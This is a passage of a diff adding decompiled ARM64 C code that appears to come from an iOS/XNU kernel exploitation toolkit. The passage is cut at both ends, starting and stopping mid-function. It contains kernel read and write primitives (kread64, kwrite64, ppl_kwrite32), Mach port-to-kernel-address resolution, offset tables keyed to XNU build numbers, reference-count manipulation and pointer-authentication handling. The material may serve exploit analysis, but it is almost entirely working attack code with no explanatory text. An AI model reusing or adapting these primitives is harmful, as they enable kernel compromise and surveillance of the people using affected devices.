72LL; + } + else + { + if ( v3 > 8795 ) + { + v4 = v3 == 10002; + v5 = 8796; + } + else + { + v4 = v3 == 8020; + v5 = 8792; + } + if ( v4 || v3 == v5 ) + return 64LL; + } + return result; +} + +//----- (000000000003492C) ---------------------------------------------------- +__int64 __fastcall sub_3492C(struct_krwCtx *a1, __int64 a2) +{ + unsigned int v4; // w0 + __int64 result; // x0 + unsigned int v6; // w0 + __int64 v7; // [xsp+0h] [xbp-20h] BYREF + __int64 v8; // [xsp+8h] [xbp-18h] BYREF + + v4 = sub_3338C((__int64)a1); + if ( !v4 || !kread64_outptr(a1, a2 + v4, (unsigned __int64 *)&v8) ) + return 0; + result = validate_addr((__int64)a1, v8); + if ( !result ) + return result; + v6 = sub_348BC((__int64)a1); + if ( !v6 || !kread64_outptr(a1, v8 + v6, (unsigned __int64 *)&v7) ) + return 0; + if ( validate_addr((__int64)a1, v7) ) + return v7; + return 0; +} + +//----- (00000000000349C8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_349C8(struct_krwCtx *a1, unsigned int a2) +{ + unsigned int v4; // w0 + unsigned int v5; // w20 + unsigned __int64 result; // x0 + unsigned __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v4 = sub_348BC((__int64)a1); + if ( !v4 ) + return 0; + v5 = v4; + result = sub_33CB0(a1, a2); + v7 = result; + if ( result ) + { + if ( kread64_outptr(a1, result + v5, &v7) ) + return v7; + else + return 0; + } + return result; +} + +//----- (0000000000034A40) ---------------------------------------------------- +__int64 __fastcall sub_34A40(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w8 + int v5; // w9 + __int64 v6; // x8 + __int64 v7; // x8 + unsigned __int64 v8; // x8 + unsigned __int64 v9; // x8 + __int64 v10; // [xsp+8h] [xbp-38h] BYREF + __int64 v11; // [xsp+10h] [xbp-30h] BYREF + __int64 v12; // [xsp+18h] [xbp-28h] BYREF + __int64 v13; // [xsp+20h] [xbp-20h] BYREF + + v12 = 0; + v13 = 0; + result = sub_34048((struct_krwCtx *)a1, a2, 0); + if ( !result ) + return result; + result = kread64_outptr((struct_krwCtx *)a1, result + 120, (unsigned __int64 *)&v11); + if ( !(_DWORD)result ) + return result; + result = validate_addr(a1, v11); + if ( !result ) + return result; + result = 0; + v4 = *(_DWORD *)(a1 + 320); + if ( v4 > 8791 ) + { + if ( v4 == 8792 || v4 == 10002 ) + goto LABEL_12; + v5 = 8796; + } + else + { + if ( (unsigned int)(v4 - 8019) < 2 || v4 == 6153 ) + goto LABEL_12; + v5 = 7195; + } + if ( v4 != v5 ) + return result; +LABEL_12: + result = kread64_outptr((struct_krwCtx *)a1, v11 + *(unsigned int *)(a1 + 360), (unsigned __int64 *)&v12); + if ( !(_DWORD)result ) + return result; + if ( (unsigned __int64)(v12 + 1) >= 2 && !validate_addr(a1, v12) ) + { + v8 = *(_QWORD *)(a1 + 344); + if ( v8 <= 0x1F52FFFFFFFFFFLL ) + return 0; + if ( (*(_DWORD *)a1 & 0x5584001) != 0 && (v12 & 0x7FFFFFFFFFLL) == 0 ) + { + v12 = 0; + } + else if ( v8 <= 0x1F530F027FFFFFLL ) + { + return 0; + } + } + if ( *(_QWORD *)(a1 + 344) <= 0x1F530F027FFFFFuLL && (*(_DWORD *)a1 & 0x5584001) != 0 ) + { + result = kread64_internal((struct_krwCtx *)a1, v11 + *(unsigned int *)(a1 + 360), &v10); + if ( !(_DWORD)result ) + return result; + v6 = v10; + } + else + { + v6 = v12; + } + *(_QWORD *)(a1 + 928) = v6; + result = kread64_outptr( + (struct_krwCtx *)a1, + v11 + (unsigned int)(2 * *(_DWORD *)(a1 + 360)), + (unsigned __int64 *)&v13); + if ( (_DWORD)result ) + { + if ( (unsigned __int64)(v13 + 1) < 2 || validate_addr(a1, v13) ) + goto LABEL_23; + v9 = *(_QWORD *)(a1 + 344); + if ( v9 > 0x1F52FFFFFFFFFFLL ) + { + if ( (*(_DWORD *)a1 & 0x5584001) != 0 && (v13 & 0x7FFFFFFFFFLL) == 0 ) + { + v13 = 0; + } + else if ( v9 <= 0x1F530F027FFFFFLL ) + { + return 0; + } +LABEL_23: + if ( *(_QWORD *)(a1 + 344) > 0x1F530F027FFFFFuLL || (*(_DWORD *)a1 & 0x5584001) == 0 ) + { + v7 = v13; + *(_QWORD *)(a1 + 936) = v13; + goto LABEL_28; + } + result = kread64_internal((struct_krwCtx *)a1, v11 + (unsigned int)(2 * *(_DWORD *)(a1 + 360)), &v10); + if ( (_DWORD)result ) + { + *(_QWORD *)(a1 + 936) = v10; + v7 = v13; +LABEL_28: + *(_QWORD *)(a1 + 912) = v12; + *(_QWORD *)(a1 + 920) = v7; + *(_QWORD *)(a1 + 888) = 0x100000000LL; + *(_QWORD *)(a1 + 6384) = v11; + *(_DWORD *)(a1 + 6392) = 0; + return 1; + } + return result; + } + return 0; + } + return result; +} + +//----- (0000000000034D14) ---------------------------------------------------- +__int64 __fastcall sub_34D14(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + + result = port_name_to_kaddr((struct_krwCtx *)a1, a2); + if ( result ) + { + result = sub_34A40(a1, result); + if ( (_DWORD)result ) + { + *(_DWORD *)(a1 + 6392) = a2; + return 1; + } + } + return result; +} + +//----- (0000000000034D58) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34D58(struct_krwCtx *a1, unsigned int a2, int a3) +{ + unsigned __int64 result; // x0 + unsigned __int64 v5; // x8 + int xnuMajorVersion; // w9 + int v7; // w10 + unsigned __int64 v8; // x19 + int v9; // w8 + unsigned __int64 v10; // x21 + _BOOL4 v11; // w0 + __int64 v12; // x9 + __int64 v13; // x10 + __int64 v14; // x8 + bool v15; // zf + __int64 v16; // x9 + _BOOL4 has_flag; // w0 + unsigned __int64 someLargeNumber; // x8 + bool v19; // cc + + if ( a3 ) + { + result = sub_34754(a1, a2); + if ( !result ) + return result; + v5 = result; + result = 0; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8795 ) + { + if ( xnuMajorVersion != 10002 ) + { + v7 = 8796; +LABEL_20: + if ( xnuMajorVersion != v7 ) + return result; + } + } + else if ( xnuMajorVersion != 8020 ) + { + v7 = 8792; + goto LABEL_20; + } + return v5 + 120; + } + result = port_name_to_kaddr(a1, a2); + if ( !result ) + return result; + v8 = result; + result = 0; + v9 = a1->xnuMajorVersion; + if ( v9 <= 8791 ) + { + if ( (unsigned int)(v9 - 8019) < 2 ) + { + if ( krw_ctx_has_flag(a1, 0x100000) ) + { + v14 = 1052; + if ( a1->someLargeNumber > 0x1F530F027FFFFFLL ) + v14 = 1004; + return v14 + v8; + } + has_flag = krw_ctx_has_flag(a1, 89669633); + someLargeNumber = a1->someLargeNumber; + v16 = 1000; + if ( someLargeNumber > 0x1F530F027FFFFFLL ) + v16 = 952; + v19 = someLargeNumber > 0x1F530F027FFFFFLL; + v14 = 1036; + if ( v19 ) + v14 = 988; + v15 = !has_flag; + } + else + { + if ( v9 != 6153 ) + { + if ( v9 != 7195 ) + return result; + v10 = a1->someLargeNumber; + v11 = krw_ctx_has_flag(a1, 89669633); + v12 = 1012; + if ( !v11 ) + v12 = 984; + v13 = 1028; + if ( !v11 ) + v13 = 992; + if ( v10 >= 0x1C1B1914600000LL ) + v14 = v13; + else + v14 = v12; + return v14 + v8; + } + v15 = !krw_ctx_has_flag(a1, 89669633); + v14 = 960; + v16 = 952; + } + goto LABEL_38; + } + if ( v9 == 8792 || v9 == 8796 || v9 == 10002 ) + { + if ( krw_ctx_has_flag(a1, 84934656) ) + { + v14 = 976; + return v14 + v8; + } + v15 = !krw_ctx_has_flag(a1, 89669633); + v14 = 952; + v16 = 928; +LABEL_38: + if ( v15 ) + v14 = v16; + return v14 + v8; + } + return result; +} + +//----- (0000000000034F5C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34F5C(struct_krwCtx *a1, unsigned int a2, int a3, unsigned int *a4) +{ + unsigned __int64 v7; // x19 + unsigned int v8; // w9 + unsigned int v10; // [xsp+Ch] [xbp-24h] BYREF + + v10 = 0; + v7 = sub_34D58(a1, a2, a3); + if ( !v7 ) + return v7; + if ( !kread32_outptr((__int64)a1, v7, &v10) ) + return 0; + if ( a1->xnuMajorVersion < 4904 ) + { + v8 = HIBYTE(v10); + } + else + { + v8 = v10 & 3; + if ( !a3 ) + { + if ( v8 == 3 ) + goto LABEL_6; + return 0; + } + } + if ( v8 ) + return 0; +LABEL_6: + if ( a4 ) + *a4 = v10; + return v7; +} + +//----- (0000000000034FF8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_34FF8(__int64 a1, unsigned int a2, unsigned int *a3) +{ + return sub_34F5C((struct_krwCtx *)a1, a2, 0, a3); +} + +//----- (0000000000035004) ---------------------------------------------------- +__int64 __fastcall sub_35004(__int64 a1, int a2, __int64 a3, unsigned int *a4) +{ + __int64 v8; // x26 + int v9; // w8 + __int64 v10; // x23 + __int64 v11; // x24 + __int64 v12; // x27 + __int64 v15; // x0 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x24 + mach_msg_type_number_t v19; // w25 + unsigned int v20; // w28 + unsigned __int64 v21; // x8 + kern_return_t v22; // w0 + mach_msg_type_number_t v23; // w8 + unsigned __int64 v24; // x28 + unsigned int v25; // w25 + unsigned __int64 v26; // x0 + unsigned __int64 v27; // x23 + unsigned __int64 v28; // x20 + vm_size_t v29; // x2 + mach_msg_type_number_t v31; // [xsp+4h] [xbp-8Ch] + __int64 v32; // [xsp+8h] [xbp-88h] BYREF + unsigned __int64 v33; // [xsp+10h] [xbp-80h] BYREF + mach_msg_type_number_t out_processor_listCnt; // [xsp+1Ch] [xbp-74h] BYREF + processor_array_t out_processor_list; // [xsp+20h] [xbp-70h] BYREF + _QWORD v36[3]; // [xsp+28h] [xbp-68h] BYREF + + v8 = 163855; + out_processor_list = 0; + out_processor_listCnt = 0; + v32 = 0; + v33 = 0; + v9 = *(_DWORD *)(a1 + 320); + v10 = 163847; + if ( v9 > 8791 ) + { + if ( v9 != 8792 && v9 != 8796 && v9 != 10002 ) + return v10; + goto LABEL_17; + } + if ( (unsigned int)(v9 - 8019) < 2 ) + { +LABEL_17: + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000) ) + v12 = 15676; + else + v12 = 2220; + if ( *(int *)(a1 + 320) >= 8019 ) + { + v15 = *(_QWORD *)(a1 + 6648); + if ( !v15 ) + return 708625; + sub_19D10(v15, v36); + v16 = kernel_pattern_scan((__int64)v36, "14 D9 33 F8", 0); + if ( !v16 ) + return 708625; + v10 = 708620; + v17 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v16 - 8)); + if ( !v17 ) + return 708625; + v18 = v17; + out_processor_listCnt = number_of_cpus(); + v31 = out_processor_listCnt; + if ( out_processor_listCnt ) + { + v19 = 0; + v20 = 0; + do + { + if ( !kread64_outptr((struct_krwCtx *)a1, v18 + *(_DWORD *)(a1 + 360) * v19, &v33) ) + return 163855; + if ( v33 ) + { + if ( !validate_addr(a1, v33) ) + return 163878; + v21 = v33; + } + else + { + v21 = 0; + } + if ( !kread64_outptr((struct_krwCtx *)a1, v21 + 40, (unsigned __int64 *)&v32) ) + return 163855; + if ( !validate_addr(a1, v32) ) + return 163878; + if ( !kread32_outptr(a1, v32 + v12, v36) ) + return 163855; + if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 ) + return 163857; + if ( LODWORD(v36[0]) == a2 ) + { + if ( v20 >= *a4 ) + return v10; + *(_QWORD *)(a3 + 8LL * v20++) = v33; + } + ++v19; + } + while ( v19 < v31 ); + } + else + { + v20 = 0; + } + v10 = 0; + *a4 = v20; + return v10; + } + v11 = 40; + goto LABEL_43; + } + if ( v9 == 6153 ) + { + v12 = 1092; + v11 = 32; + } + else + { + if ( v9 != 7195 ) + return v10; + if ( *(_QWORD *)(a1 + 344) <= 0x1C1B1400FFFFFFuLL ) + v11 = 32; + else + v11 = 40; + v12 = 1204; + } +LABEL_43: + v22 = host_processors(*(_DWORD *)(a1 + 6432), &out_processor_list, &out_processor_listCnt); + if ( v22 ) + return v22 | 0x80000000; + v23 = out_processor_listCnt; + if ( !out_processor_listCnt ) + { + v25 = 0; +LABEL_58: + v10 = 0; + *a4 = v25; + goto LABEL_69; + } + v24 = 0; + v25 = 0; + while ( 1 ) + { + v26 = port_name_to_kaddr((struct_krwCtx *)a1, out_processor_list[v24]); + v33 = v26; + if ( !v26 ) + { + v8 = 163854; + goto LABEL_68; + } + v27 = v26; + if ( !kread64_outptr((struct_krwCtx *)a1, v26 + v11, (unsigned __int64 *)&v32) ) + goto LABEL_68; + if ( !validate_addr(a1, v32) ) + { + v8 = 163878; + goto LABEL_68; + } + if ( !kread32_outptr(a1, v32 + v12, v36) ) + goto LABEL_68; + if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 ) + { + v8 = 163857; + goto LABEL_68; + } + if ( LODWORD(v36[0]) == a2 ) + break; +LABEL_55: + ++v24; + v23 = out_processor_listCnt; + if ( v24 >= out_processor_listCnt ) + goto LABEL_58; + } + if ( v25 < *a4 ) + { + *(_QWORD *)(a3 + 8LL * v25++) = v27; + goto LABEL_55; + } + v8 = 708620; +LABEL_68: + v23 = out_processor_listCnt; + v10 = v8; +LABEL_69: + if ( v23 ) + { + v28 = 0; + do + mach_port_deallocate(mach_task_self_, out_processor_list[v28++]); + while ( v28 < out_processor_listCnt ); + v29 = 4LL * out_processor_listCnt; + } + else + { + v29 = 0; + } + vm_deallocate(mach_task_self_, (vm_address_t)out_processor_list, v29); + return v10; +} + +//----- (00000000000353DC) ---------------------------------------------------- +__int64 __fastcall sub_353DC(__int64 a1) +{ + int v1; // w8 + + v1 = *(_DWORD *)(a1 + 320); + if ( (unsigned int)(v1 - 8019) < 2 ) + return 96LL; + if ( v1 == 6153 ) + return 88LL; + if ( v1 == 7195 ) + return 96LL; + return 0LL; +} + +//----- (0000000000035420) ---------------------------------------------------- +__int64 __fastcall sub_35420(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w8 + bool v5; // zf + int v6; // w9 + __int64 v8; // x8 + + result = 0LL; + v4 = *(_DWORD *)(a1 + 320); + if ( v4 <= 8019 ) + { + if ( v4 == 6153 || v4 == 7195 ) + { + v8 = 64LL; + } + else + { + if ( v4 != 8019 ) + return result; + v8 = 48LL; + } + return v8 + a2; + } + if ( v4 > 8795 ) + { + v5 = v4 == 8796; + v6 = 10002; + } + else + { + v5 = v4 == 8020; + v6 = 8792; + } + if ( v5 || v4 == v6 ) + { + v8 = 32LL; + return v8 + a2; + } + return result; +} + +//----- (00000000000354A4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_354A4(struct_krwCtx *a1, unsigned int a2) +{ + unsigned __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = task_get_ipc_port(a1, mach_task_self_, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_35420((__int64)a1, result); + } + return result; +} +// 354E4: variable 'vars8' is possibly undefined + +//----- (0000000000035500) ---------------------------------------------------- +__int64 __fastcall sub_35500(struct_krwCtx *a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v4; // [xsp+8h] [xbp-18h] BYREF + + result = sub_354A4(a1, a2); + v4 = result; + if ( result ) + { + if ( kread64_outptr(a1, result, (unsigned __int64 *)&v4) ) + { + if ( validate_addr((__int64)a1, v4) ) + return v4; + else + return 0; + } + else + { + return 0; + } + } + return result; +} + +//----- (0000000000035568) ---------------------------------------------------- +__int64 __fastcall sub_35568(struct_krwCtx *a1, unsigned int a2) +{ + __int64 result; // x0 + unsigned __int64 someLargeNumber; // x8 + unsigned __int64 v5; // x1 + bool v6; // cc + __int64 v7; // x8 + __int64 v8; // [xsp+8h] [xbp-18h] BYREF + + result = sub_35500(a1, a2); + v8 = result; + if ( result ) + { + someLargeNumber = a1->someLargeNumber; + if ( someLargeNumber < 0x1C1B0A80100000LL ) + { + v5 = result + 24; + } + else + { + if ( someLargeNumber >> 43 >= 0x44B ) + return result + 80; + v6 = someLargeNumber > 0x1C1B19145FFFFFLL; + v7 = 32; + if ( v6 ) + v7 = 24; + v5 = v7 + result; + } + if ( kread64_outptr(a1, v5, (unsigned __int64 *)&v8) ) + return v8; + return 0; + } + return result; +} + +//----- (0000000000035610) ---------------------------------------------------- +unsigned __int64 __fastcall sub_35610(__int64 a1, int a2) +{ + unsigned __int64 v4; // x1 + unsigned __int64 v5; // x0 + unsigned int v6; // w0 + unsigned __int64 ipc_port; // x0 + unsigned __int64 v9; // [xsp+8h] [xbp-18h] BYREF + + v4 = *(_QWORD *)(a1 + 424); + if ( !v4 ) + { + v6 = sub_32B10(a1); + if ( v6 + 1 < 2 ) + return 0; + ipc_port = task_get_ipc_port((struct_krwCtx *)a1, mach_task_self_, v6); + v4 = ipc_port; + if ( !ipc_port ) + return v4; + *(_QWORD *)(a1 + 424) = ipc_port; + } + if ( a2 == 1 ) + return v4; + v5 = maybe_ipc_port_get_kobject((struct_krwCtx *)a1, v4); + if ( !v5 ) + return 0; + if ( kread64_outptr((struct_krwCtx *)a1, v5 + (unsigned int)(*(_DWORD *)(a1 + 360) * a2) + 16, &v9) ) + return v9; + else + return 0; +} + +//----- (00000000000356C8) ---------------------------------------------------- +__int64 __fastcall sub_356C8(struct_krwCtx *a1, unsigned int a2, __int64 *a3) +{ + __int64 v5; // x19 + int xnuMajorVersion; // w8 + unsigned __int64 v9; // x0 + __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + v5 = 163847; + xnuMajorVersion = a1->xnuMajorVersion; + if ( xnuMajorVersion > 8018 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 8792 ) + return v5; +LABEL_12: + v9 = port_name_to_kaddr(a1, a2); + if ( !v9 ) + return 163877; + if ( !kread64_outptr(a1, v9 + 56, (unsigned __int64 *)&v11) ) + return 163855; + if ( !validate_addr((__int64)a1, v11) ) + return 163878; + v5 = 0; + *a3 = v11; + return v5; + } + if ( xnuMajorVersion == 6153 || xnuMajorVersion == 7195 ) + goto LABEL_12; + return v5; +} + +//----- (000000000003579C) ---------------------------------------------------- +__int64 __fastcall sub_3579C(struct_krwCtx *a1, int a2, __int64 *a3) +{ + __int64 v6; // x22 + int xnuMajorVersion; // w8 + __int64 result; // x0 + int v9; // w9 + __int64 v11; // x23 + unsigned __int64 v12; // x0 + unsigned __int64 v13; // x1 + __int64 v14; // [xsp+8h] [xbp-48h] BYREF + __int64 v15; // [xsp+10h] [xbp-40h] BYREF + unsigned __int64 v16; // [xsp+18h] [xbp-38h] BYREF + + v6 = 163855; + xnuMajorVersion = a1->xnuMajorVersion; + result = 163884; + if ( xnuMajorVersion <= 8791 ) + { + if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 ) + { + if ( xnuMajorVersion == 6153 ) + { + v11 = 264; + goto LABEL_16; + } + v9 = 7195; + goto LABEL_13; + } +LABEL_10: + if ( a1->someLargeNumber <= 0x1F530F027FFFFFLL ) + v11 = 256; + else + v11 = 248; + goto LABEL_16; + } + if ( xnuMajorVersion == 8792 || xnuMajorVersion == 8796 ) + goto LABEL_10; + v9 = 10002; +LABEL_13: + if ( xnuMajorVersion != v9 ) + return result; + v11 = 248; +LABEL_16: + v12 = sub_33E8C(a1, mach_task_self_); + if ( !v12 ) + return 163854; + if ( kread64_outptr(a1, v12 + v11, &v16) ) + { + if ( !validate_addr((__int64)a1, v16) ) + return 163878; + v13 = v16; + if ( a1->someLargeNumber < 0x1F530000000000LL ) + { + if ( !kread64_outptr(a1, v16, (unsigned __int64 *)&v15) ) + return v6; + if ( !validate_addr((__int64)a1, v15) ) + return 163878; + v13 = v15; + } + else + { + v15 = v16; + } + if ( kread64_outptr(a1, v13 + a1->int168 * (__int64)a2, (unsigned __int64 *)&v14) ) + { + if ( validate_addr((__int64)a1, v14) ) + { + v6 = 0; + *a3 = v14; + return v6; + } + return 163878; + } + } + return v6; +} + +//----- (0000000000035938) ---------------------------------------------------- +__int64 __fastcall sub_35938(struct_krwCtx *a1, int a2, __int64 *a3) +{ + int xnuMajorVersion; // w8 + __int64 result; // x0 + bool v7; // zf + int v8; // w9 + _BOOL4 v10; // w8 + __int64 v11; // [xsp+8h] [xbp-38h] BYREF + __int64 v12; // [xsp+10h] [xbp-30h] BYREF + __int64 v13; // [xsp+18h] [xbp-28h] BYREF + + xnuMajorVersion = a1->xnuMajorVersion; + result = 163884; + if ( xnuMajorVersion > 8791 ) + { + v7 = xnuMajorVersion == 8792 || xnuMajorVersion == 10002; + v8 = 8796; + } + else + { + v7 = (unsigned int)(xnuMajorVersion - 8019) < 2 || xnuMajorVersion == 6153; + v8 = 7195; + } + if ( v7 || xnuMajorVersion == v8 ) + { + result = sub_3579C(a1, a2, &v13); + if ( !(_DWORD)result ) + { + if ( !kread64_outptr(a1, v13 + 16, (unsigned __int64 *)&v12) ) + return 163855; + if ( validate_addr((__int64)a1, v12) ) + { + v10 = kread64_outptr(a1, v12 + 56, (unsigned __int64 *)&v11); + result = 163855; + if ( !v10 ) + return result; + if ( validate_addr((__int64)a1, v11) ) + { + result = 0; + *a3 = v11; + return result; + } + } + return 163878; + } + } + return result; +} + +//----- (0000000000035A50) ---------------------------------------------------- +unsigned __int64 __fastcall sub_35A50(struct_krwCtx *a1, int a2, _DWORD *a3) +{ + unsigned __int64 v3; // x20 + + if ( a2 ) + return 0; + if ( krw_ctx_has_flag(a1, 8) ) + { + v3 = 0xFFFFFE0000000000LL; + } + else + { + v3 = 0xFFFFFFE000000000LL; + if ( a1->someLargeNumber >= 0x22581401900000LL && !krw_ctx_has_flag(a1, 0x2000) ) + v3 = 0xFFFFFFDC00000000LL; + } + *a3 = 6; + return v3; +} + +//----- (0000000000035AE0) ---------------------------------------------------- +void __fastcall sub_35AE0(struct_krwCtx *a1, unsigned int a2, __int64 a3) +{ + __int64 v3; // x21 + __int64 v5; // x19 + unsigned __int64 v6; // x8 + mach_vm_address_t v7; // x1 + uint64_t v8; // x8 + unsigned int v9; // w10 + __int64 v10; // x2 + mach_vm_address_t v11; // x1 + unsigned __int64 v12; // x9 + __int64 v13; // x10 + __int64 v14; // x11 + void *(__cdecl *v15)(void *); // x0 + __int64 v16; // [xsp+0h] [xbp-80h] BYREF + unsigned int v17; // [xsp+8h] [xbp-78h] + int v18; // [xsp+Ch] [xbp-74h] + pthread_t v19; // [xsp+10h] [xbp-70h] BYREF + pthread_attr_t v20; // [xsp+18h] [xbp-68h] BYREF + __int64 vars8; // [xsp+88h] [xbp+8h] + + if ( a2 > 6 ) + return; + v3 = a3; + v5 = (__int64)a1; + v6 = a1->someLargeNumber; + if ( v6 >= 0x1F530F02800000LL ) + { + if ( !a3 ) + a3 = -1; + v7 = a1->gap191[688] + a1->int168 * (a2 + 1); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_2A63C(a1, v7, a3); + return; + } + if ( a3 ) + { + if ( (a1->flags & 0x5584001) != 0 && krw_xpac_vaddr_2(a1, a3) == a3 ) + return; + goto LABEL_18; + } + if ( v6 < 0x1F530000000000LL || (a1->flags & 0x5584001) == 0 ) + { +LABEL_18: + v11 = *(_QWORD *)(v5 + 6384) + *(_DWORD *)(v5 + 360) * (a2 + 1); + a1 = (struct_krwCtx *)v5; + v10 = v3; +LABEL_19: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + kwrite64((__int64)a1, v11, v10); + return; + } + v8 = a1->gap191[688]; + if ( a1->gap191[8] == v8 ) + { + v9 = 0; +LABEL_17: + v10 = a1->gap191[8 * (unsigned __int64)v9 + 9 + a2]; + v11 = v8 + a1->int168 * (a2 + 1); + goto LABEL_19; + } + v12 = -1; + v13 = 1008; + while ( v12 != 6 ) + { + v14 = *(_QWORD *)((char *)&a1->flags + v13); + ++v12; + v13 += 64; + if ( v14 == v8 ) + { + if ( v12 < 7 ) + { + v9 = v12 + 1; + goto LABEL_17; + } + break; + } + } + if ( !pthread_attr_init(&v20) ) + { + if ( !pthread_attr_setdetachstate(&v20, 1) ) + { + v19 = 0; + v16 = v5; + v17 = a2; + v18 = 4097; + v15 = (void *(__cdecl *)(void *))nullsub_1(sub_39150); + if ( !pthread_create(&v19, &v20, v15, &v16) ) + pthread_join(v19, 0); + } + pthread_attr_destroy(&v20); + } +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000035D94) ---------------------------------------------------- +mach_vm_address_t __fastcall sub_35D94(__int64 a1, __int64 a2, int a3) +{ + mach_vm_address_t result; // x0 + mach_vm_address_t v6; // x21 + unsigned int v7; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_32A64(a1, a2); + if ( result ) + { + v6 = result; + result = kread32_outptr(a1, result, &v7); + if ( (_DWORD)result ) + return v7 <= 0x80000000 && noppl_kwrite32(a1, v6, v7 + a3); + } + return result; +} + +//----- (0000000000035E18) ---------------------------------------------------- +__int64 __fastcall sub_35E18(struct_krwCtx *a1, __int64 a2, int a3) +{ + __int64 v5; // x20 + __int64 result; // x0 + int v7; // [xsp+Ch] [xbp-24h] BYREF + + v5 = a2 + 4; + result = kreadbuf_last_1(a1, a2 + 4, 4, &v7); + if ( (_DWORD)result ) + { + v7 += a3; + return (unsigned int)kwritebuf_last_1((__int64)a1, v5, (__int64)&v7, 4) != 0; + } + return result; +} + +//----- (0000000000035E8C) ---------------------------------------------------- +__int64 __fastcall sub_35E8C(__int64 a1, __int64 a2) +{ + sub_35E18((struct_krwCtx *)a1, a2, 1); + sub_35D94(a1, a2, 1); + return 0; +} + +//----- (0000000000035ECC) ---------------------------------------------------- +__int64 __fastcall sub_35ECC(struct_krwCtx *a1, unsigned __int64 a2, int a3) +{ + mach_vm_address_t v6; // x22 + __int64 result; // x0 + __int64 v8; // x21 + __int64 v9; // [xsp+0h] [xbp-30h] BYREF + int v10; // [xsp+Ch] [xbp-24h] BYREF + + v6 = a2 + 16; + result = kread32_outptr((__int64)a1, a2 + 16, &v10); + if ( (_DWORD)result ) + { + if ( (unsigned int)(v10 - 1) >> 20 ) + return 0; + result = ppl_kwrite32(a1, v6, v10 + a3); + if ( !(_DWORD)result ) + return result; + if ( a1->someLargeNumber < 0x1F530F02800000LL ) + return 1; + result = kread64_outptr(a1, a2, (unsigned __int64 *)&v9); + if ( (_DWORD)result ) + { + result = validate_addr((__int64)a1, v9); + if ( result ) + { + v8 = a1->xnuMajorVersion <= 10001 ? 24LL : 0LL; + result = kread32_outptr((__int64)a1, v8 + v9, &v10); + if ( (_DWORD)result ) + { + if ( !((unsigned int)(v10 - 1) >> 20) ) + { + result = noppl_kwrite32((__int64)a1, v9 + v8, v10 + a3); + if ( !(_DWORD)result ) + return result; + return 1; + } + return 0; + } + } + } + } + return result; +} + +//----- (0000000000035FD8) ---------------------------------------------------- +__int64 __fastcall sub_35FD8(struct_krwCtx *a1, unsigned __int64 a2) +{ + if ( (unsigned int)sub_35ECC(a1, a2, 16) ) + return 0; + else + return 4097; +} + +//----- (0000000000036000) ---------------------------------------------------- +__int64 __fastcall sub_36000(__int64 a1, __int64 a2) +{ + __int64 v3; // x19 + mach_vm_address_t v4; // x21 + int v6; // [xsp+Ch] [xbp-24h] BYREF + + v3 = 163855; + v4 = a2 + 16; + if ( kread32_outptr(a1, a2 + 16, &v6) ) + { + if ( v6 ) + { + if ( noppl_kwrite32(a1, v4, v6 + 4) ) + return 0; + else + return 163856; + } + else + { + return 163857; + } + } + return v3; +} + +//----- (0000000000036078) ---------------------------------------------------- +_DWORD *__fastcall sub_36078(_DWORD *result, int a2) +{ + *result |= a2; + return result; +} + +//----- (0000000000036088) ---------------------------------------------------- +_DWORD *__fastcall sub_36088(_DWORD *result, int a2) +{ + *result &= ~a2; + return result; +} + +//----- (0000000000036098) ---------------------------------------------------- +bool __fastcall krw_ctx_has_flag(struct_krwCtx *krwCtx, int flag) +{ + return (krwCtx->flags & flag) != 0; +} + +//----- (00000000000360A8) ---------------------------------------------------- +__int64 __fastcall sub_360A8(__int64 a1) +{ + __int64 result; // x0 + __int64 v3; // x1 + mach_vm_address_t v4; // x20 + int v5; // [xsp+4h] [xbp-1Ch] BYREF + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + v6 = 0; + result = *(_QWORD *)(a1 + 528); + if ( !result ) + { + v3 = *(_QWORD *)(a1 + 6608); + if ( v3 ) + { + result = sub_329B8(a1, v3); + if ( !result ) + return result; + v4 = result; + if ( kread64_outptr((struct_krwCtx *)a1, result, (unsigned __int64 *)&v6) ) + { + if ( v6 ) + { + result = validate_addr(a1, v6); + if ( !result ) + return result; +LABEL_10: + result = v6; + *(_QWORD *)(a1 + 528) = v6; + return result; + } + v5 = 512; + result = sub_3796C(a1, &v5); + v6 = result; + if ( !result ) + return result; + if ( kwrite64((struct_krwCtx *)a1, v4, result) ) + goto LABEL_10; + } + } + return 0; + } + return result; +} + +//----- (0000000000036160) ---------------------------------------------------- +__int64 __fastcall sub_36160(struct_krwCtx *a1, unsigned int a2, __int64 *a3) +{ + __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + if ( a2 > 0xD ) + return 0; + result = sub_360A8((__int64)a1); + v7 = result; + if ( result ) + { + result = kread64_outptr(a1, result + a1->int168 * a2, (unsigned __int64 *)&v7); + if ( (_DWORD)result ) + { + *a3 = v7; + return 1; + } + } + return result; +} + +//----- (00000000000361DC) ---------------------------------------------------- +__int64 __fastcall sub_361DC(__int64 a1, unsigned int a2, __int64 a3) +{ + __int64 result; // x0 + __int64 v6; // x20 + __int64 v7; // 